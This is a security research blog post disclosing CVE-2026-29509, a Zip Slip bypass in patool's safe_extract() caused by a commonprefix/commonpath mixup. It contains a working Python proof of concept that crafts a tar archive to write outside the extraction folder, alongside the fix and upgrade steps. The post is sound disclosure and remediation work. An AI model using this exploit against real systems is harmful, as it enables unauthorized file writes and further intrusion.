A security guard function ran on every extraction, passed every test its author wrote, and still let an attacker write files outside the folder it was supposed to protect.
The reason came down to four letters: someone reached for commonprefix when they needed commonpath.
Here's how a string-vs-path mixup became CVE-2026-29509, and how one line fixed it for good.
TL;DR
-
patool'ssafe_extract()is supposed to stop malicious archives from writing files outside the target folder — the classic "Zip Slip" attack. - Its containment check used
os.path.commonprefix(), which compares paths as raw character strings, not as actual filesystem paths. - Result: a folder named
Unpack_AABBCC-evillooks "inside"Unpack_AABBCCto a string comparison, because the names share a prefix. They're not the same directory. - Fixed in
patool4.0.5 by swapping toos.path.commonpath(). Upgrade:pip install --upgrade "patool>=4.0.5". - CVSS 5.3–5.4 (Medium) — exploitable but requires the victim to extract an attacker-controlled archive.
The setup
Every archive extractor needs one guarantee: nothing you unzip should be able to write outside the folder you're unzipping into.
patool, a Python library that wraps system archive tools and sits quietly inside extraction pipelines all over the ecosystem, has a function whose entire job is enforcing exactly that guarantee. It's called safe_extract().
On Python versions before 3.12, it's the only thing standing between a malicious archive and the rest of your filesystem.
Inside it sits a helper, is_within_directory(), whose one job is to answer a simple question: does this archive member's resolved path actually land inside the target extraction folder?
Reasonable question. Reasonable guard.
Except the function answers it using os.path.commonprefix() — which compares two paths character by character, as strings, not as filesystem paths.
That distinction sounds pedantic until you see what it permits.
Two directories like Unpack_AABBCC and Unpack_AABBCC-evil share a long run of identical leading characters. A character-level comparison sees that shared run and calls it a match.
But Unpack_AABBCC-evil isn't inside Unpack_AABBCC — it's a completely separate sibling directory that just happens to start with the same name. The guard mistakes a stranger for family because they share a first name.
Watching the escape happen
Picture a server extracting an upload into /srv/extract/Unpack_AABBCC.
An archive member resolves to a path inside the sibling folder /srv/extract/Unpack_AABBCC-evil/payload.txt. Run that through the vulnerable check:
os.path.commonprefix(["/srv/extract/Unpack_AABBCC",
"/srv/extract/Unpack_AABBCC-evil/payload"])
# -> "/srv/extract/Unpack_AABBCC" — a string match. Check PASSES.
os.path.commonpath(["/srv/extract/Unpack_AABBCC",
"/srv/extract/Unpack_AABBCC-evil/payload"])
# -> "/srv/extract" — the real shared parent. Check would FAIL.
commonprefix walks the two strings letter by letter and finds that the entire target directory string is a prefix of the sibling path — so it reports a match. commonpath understands directory boundaries and correctly reports that the only thing the two paths actually share is a level further up.
One function knows what a path is. The other just sees characters.
No ../../ needed. Just one archive member whose resolved path lives in a sibling directory that happens to share the target's name as a prefix — and safe_extract() waves it through.
Proof, not a theory
We don't publish theories, we publish working exploits. Here's a proof of concept run against a real install of patool 4.0.4:
import tarfile, io, os, tempfile
from patoolib.programs.py_tarfile import safe_extract
def build_evil_archive(output_path, outdir_name):
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode="w:gz") as tf:
safe = b"Totally safe archive, trust me."
info = tarfile.TarInfo(name="README.txt")
info.size = len(safe)
tf.addfile(info, io.BytesIO(safe))
payload = b"PWNED via patool safe_extract commonprefix bypass"
evil_name = f"../{outdir_name}-evil/payload.txt"
info2 = tarfile.TarInfo(name=evil_name)
info2.size = len(payload)
tf.addfile(info2, io.BytesIO(payload))
with open(output_path, "wb") as f:
f.write(buf.getvalue())
with tempfile.TemporaryDirectory() as parent:
outdir_name = "Unpack_AABBCC"
outdir = os.path.join(parent, outdir_name)
sibling = os.path.join(parent, outdir_name + "-evil")
os.makedirs(outdir, exist_ok=True)
os.makedirs(sibling, exist_ok=True)
archive = os.path.join(parent, "evil.tar.gz")
build_evil_archive(archive, outdir_name)
with tarfile.open(archive) as tfile:
safe_extract(tfile, outdir) # the guard approves this
escaped = os.path.join(sibling, "payload.txt")
if os.path.exists(escaped):
with open(escaped) as f:
print(f"[VULNERABILITY CONFIRMED] wrote outside target dir: {f.read()}")
The archive carries an innocent README.txt alongside one member crafted to resolve into the sibling folder.
The guard approves it, extractall writes it, and no exception is raised — because as far as is_within_directory() is concerned, nothing unsafe ever happened. Run it, and the payload shows up exactly where it shouldn't.
The fix: one function name, swapped
The maintainer's fix in patool 4.0.5 is almost anticlimactic in how small it is:
# before: string comparison
prefix = os.path.commonprefix([abs_directory, abs_target])
return prefix == abs_directory
# after: path comparison, symlinks resolved, fail closed on ambiguity
abs_directory = os.path.realpath(os.path.abspath(directory))
abs_target = os.path.realpath(os.path.abspath(target))
try:
return os.path.commonpath([abs_directory, abs_target]) == abs_directory
except ValueError:
return False
commonprefix became commonpath. That's the core of the fix — the correctly-named function was sitting one line away in the same standard library module the whole time.
The update also resolves symlinks first and treats "can't compare" as "assume it's outside," which is the right conservative default for a security check.
Why a Medium-severity bug is still worth your attention
The CVSS score here is medium — 5.3 to 5.4 depending on version — because exploiting it requires the victim to actually extract an attacker-controlled archive.
It's not an unauthenticated takeover, and we're not going to dress it up as one. But think about where extraction like this actually happens: a CI runner unpacking a build artifact, a server unpacking a user upload, a desktop tool opening a downloaded file.
In each of those, a file landing in the wrong directory is exactly the kind of primitive an attacker builds the next step on.
The deeper reason it's worth remembering isn't the score, it's the shape of the mistake.
A guard that reads correctly, compiles, and passes every test the author wrote — and still fails, because the one input that breaks it is the one input the author never pictured a stranger sending.
That's the gap between how defenders read code and how attackers read it:
| Defenders | Attackers | |
|---|---|---|
| What they verify | The path they intended | The path the author never intended |
| Test cases | Normal extraction, ../../ escape blocked |
A sibling folder sharing a name prefix |
| When they stop | Passing tests | A working exploit |
commonprefix standing in for a real containment check isn't unique to patool — it's a recurring shape in Zip Slip guards across languages, wherever someone needs to check "does this path start inside that directory" and reaches for the function whose name reads right instead of the one that actually does the job.
If you've got a path-containment check anywhere in your own code: resolve the paths first, compare them as paths, and default to "not inside" whenever you can't prove otherwise.
The wins
- Fixed and shipped in
patool4.0.5 —pip install --upgrade "patool>=4.0.5" - Responsibly disclosed and coordinated through VulnCheck, from first report to public CVE in a little under four months
- The maintainer, contacted out of nowhere about a bypass in his archive code, verified it and shipped the correct primitive rather than a band-aid over the one bypass
- One more open-source dependency the whole ecosystem leans on, a little harder to slip past now
If your codebase touches patool and extracts anything you didn't create yourself, on anything below Python 3.12, this is your nudge to upgrade.
Got a commonprefix-shaped check hiding in your own path-handling code? Worth a second look — this is exactly the kind of thing that passes review and still ships broken.
Metadata for the CVE box
- CVE: CVE-2026-29509
- CWE-22 — Improper Limitation of a Pathname to a Restricted Directory (Path Traversal)
- CVSS 3.1: 5.4 (Medium) | CVSS 4.0: 5.3 (Medium)
-
Affected:
patool< 4.0.5, on Python < 3.12 (practically, Python 3.11) -
Fix:
pip install --upgrade "patool>=4.0.5" - Found by: CodeAnt AI offensive engine
- Coordinator: VulnCheck
- CVE record: https://www.cve.org/CVERecord?id=CVE-2026-29509
This report is part of CodeAnt's security research. Check out the full blog here.
Top comments (0)